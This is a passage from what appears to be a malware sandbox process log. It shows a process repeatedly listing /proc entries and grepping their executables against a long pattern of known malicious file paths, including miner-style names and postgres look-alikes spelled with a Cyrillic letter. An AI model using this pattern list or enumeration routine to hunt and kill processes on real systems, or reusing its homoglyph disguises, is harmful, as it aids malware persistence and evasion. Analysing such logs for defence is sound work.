  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:834
- /bin/ls
  ls -latrh /proc/18
  2⤵
  PID:837
- /bin/grep
  grep exe
  2⤵
  PID:838
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:841
- /bin/grep
  grep exe
  2⤵
  PID:845
- /bin/ls
  ls -latrh /proc/19
  2⤵
  PID:844
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:848
- /bin/grep
  grep exe
  2⤵
  PID:851
- /bin/ls
  ls -latrh /proc/2
  2⤵
  PID:850
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:855
- /bin/grep
  grep exe
  2⤵
  PID:858
- /bin/ls
  ls -latrh /proc/20
  2⤵
  PID:857
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:861
- /bin/grep
  grep exe
  2⤵
  PID:865
- /bin/ls
  ls -latrh /proc/21
  2⤵
  PID:864
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:868
- /bin/grep
  grep exe
  2⤵
  PID:873
- /bin/ls
  ls -latrh /proc/215
  2⤵
  PID:872
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:876
- /bin/grep
  grep exe
  2⤵
  PID:879
- /bin/ls
  ls -latrh /proc/22
  2⤵
  PID:878
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:882
- /bin/grep
  grep exe
  2⤵
  PID:887
- /bin/ls
  ls -latrh /proc/23
  2⤵
  PID:886
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:892
- /bin/grep
  grep exe
  2⤵
  PID:895
- /bin/ls
  ls -latrh /proc/24
  2⤵
  PID:894
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:898
- /bin/grep
  grep exe
  2⤵
  PID:902
- /bin/ls
  ls -latrh /proc/25
  2⤵
  PID:901
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:905
- /bin/grep
  grep exe
  2⤵
  PID:910
- /bin/ls
  ls -latrh /proc/26
  2⤵
  PID:909
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:912
- /bin/grep
  grep exe
  2⤵
  PID:916
- /bin/ls
  ls -latrh /proc/268
  2⤵
  PID:915
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:918
- /bin/grep
  grep exe
  2⤵
  PID:922
- /bin/ls
  ls -latrh /proc/27
  2⤵
  PID:921
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:924
- /bin/grep
  grep exe
  2⤵
  PID:927
- /bin/ls
  ls -latrh /proc/274
  2⤵
  PID:926
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:929
- /bin/grep
  grep exe
  2⤵
  PID:932
- /bin/ls
  ls -latrh /proc/275
  2⤵
  PID:931
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:934
- /bin/grep
  grep exe
  2⤵
  PID:937
- /bin/ls
  ls -latrh /proc/276
  2⤵
  PID:936
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:939
- /bin/grep
  grep exe
  2⤵
  PID:942
- /bin/ls
  ls -latrh /proc/279
  2⤵
  PID:941
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:944
- /bin/grep
  grep exe
  2⤵
  PID:947
- /bin/ls
  ls -latrh /proc/28
  2⤵
  PID:946
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:949
- /bin/grep
  grep exe
  2⤵
  PID:952
- /bin/ls
  ls -latrh /proc/29
  2⤵
  PID:951
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:954
- /bin/ls
  ls -latrh /proc/3
  2⤵
  PID:956
- /bin/grep
  grep exe
  2⤵
  PID:957
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:959
- /bin/ls
  ls -latrh /proc/312
  2⤵
  PID:961
- /bin/grep
  grep exe
  2⤵
  PID:962
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:966
- /bin/ls
  ls -latrh /proc/314
  2⤵
  PID:969
- /bin/grep
  grep exe
  2⤵
  PID:970
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:973
- /bin/grep
  grep exe
  2⤵
  PID:978
- /bin/ls
  ls -latrh /proc/325
  2⤵
  PID:977
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:982
- /bin/grep
  grep exe
  2⤵
  PID:987
- /bin/ls
  ls -latrh /proc/332
  2⤵
  PID:985
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:989
- /bin/ls
  ls -latrh /proc/4
  2⤵
  PID:992
- /bin/grep
  grep exe
  2⤵
  PID:993
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:996
- /bin/grep
  grep exe
  2⤵
  PID:999
- /bin/ls
  ls -latrh /proc/41
  2⤵
  PID:998
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1003
- /bin/ls
  ls -latrh /proc/42
  2⤵
  PID:1005
- /bin/grep
  grep exe
  2⤵
  PID:1006
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1010
- /bin/ls
  ls -latrh /proc/43
  2⤵
  PID:1012
- /bin/grep
  grep exe
  2⤵
  PID:1013
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1017
- /bin/grep
  grep exe
  2⤵
  PID:1022
- /bin/ls
  ls -latrh /proc/5
  2⤵
  PID:1021
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1024
- /bin/grep
  grep exe
  2⤵
  PID:1028
- /bin/ls
  ls -latrh /proc/588
  2⤵
  PID:1027
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1031
- /bin/grep
  grep exe
  2⤵
  PID:1034
- /bin/ls
  ls -latrh /proc/6
  2⤵
  PID:1033
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1038
- /bin/grep
  grep exe
  2⤵
  PID:1042
- /bin/ls
  ls -latrh /proc/604
  2⤵
  PID:1041
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1046
- /bin/grep
  grep exe
  2⤵
  PID:1049
- /bin/ls
  ls -latrh /proc/606
  2⤵
  PID:1048
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1052
- /bin/grep
  grep exe
  2⤵
  PID:1055
- /bin/ls
  ls -latrh /proc/608
  2⤵
  PID:1054
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1059
- /bin/grep
  grep exe
  2⤵
  PID:1062
